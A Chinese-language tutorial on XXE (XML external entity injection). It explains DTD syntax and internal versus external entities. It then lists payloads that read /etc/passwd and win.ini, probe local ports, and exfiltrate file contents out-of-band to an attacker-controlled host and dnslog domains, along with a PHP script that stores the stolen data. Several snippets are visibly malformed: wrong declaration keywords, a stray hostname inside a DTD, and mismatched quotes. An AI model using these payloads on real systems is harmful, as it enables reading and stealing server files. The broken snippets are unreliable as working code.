赞
踩
XML外部实体注入(XML EXTERNAL ENTITY)简称XXE漏洞,概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:“to、from、heading,、body”
!ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型
!ELEMENT from (第五行)定义 from 元素为 “#PCDATA” 类型
!ELEMENT heading (第六行)定义 heading 元素为 “#PCDATA” 类型
!ELEMENT body (第七行)定义 body 元素为 “#PCDATA” 类型
内部实体
和外部实体
的区别<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
实体可以理解为变量
writer = Donald Duck.
copyright = Copyright runoob.com
如何引用:
元素标签内+ &writer;
例子:<heading>&writer;</heading>
总结:就是在xml内部进行定义变量,就是所谓的内部实体
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
理解为:
writer = "http://www.runoob.com/entities.dtd"
copyright = "http://www.runoob.com/entities.dtd"
SYSTEM 在引用外部实体的时候需要加SYSTEM
如何引用:
元素标签内+ &writer;
例子:<heading>&writer;</heading>
总结:外部实体就是引用外部的文件
创建文件aaa.dtd
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
引用方式:
<?xml version='1.1' encoding='utf-8'>
<!DOCTYPE note [
<!ELEMENT % file SYSTEM "http://www.runoob.com/aaa.dtd>"
%file;
]>
<note>
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY writer "test">
]>
<name>&writer;</name>
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY writer SYSTEM 'file:///etc/passwd'>
]>
<name>&writer;</name>
win 请读取文件c:/windows/win.ini
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY writer SYSTEM '127.0.0.1:3306'>
]>
<name>&writer;</name>
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY writer SYSTEM 'php://filter/read=convert.base64-encode/resource=/etc/passwd'>
]>
<name>&writer;</name>
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY % file SYSTEM 'php://filter/read=convert.base64-encode/resource=/etc/passwd'>
5up4ga.dnslog.cn
<!ENTITY % remove SYSTEM 'http://192.168.0.22/home/kali/test/bbb.dtd'>
%remove;
%all;
%send;
]>
<name>&writer;</name>
攻击方服务器启动目录准备php和dtd文件
<?
$file='./test.txt';
$content=base64_decode($_GET['file']);
file_put_contents($file,$content);
echo "\n";
?>
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://本地服务ip/php文件'?file=%file;'>"
>
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY writer SYSTEM 'http://qw1j8c.dnslog.cn'>
]>
<name>&writer;</name>
或
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY % writer SYSTEM 'http://qw1j8c.dnslog.cn'>
%writer;
]>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。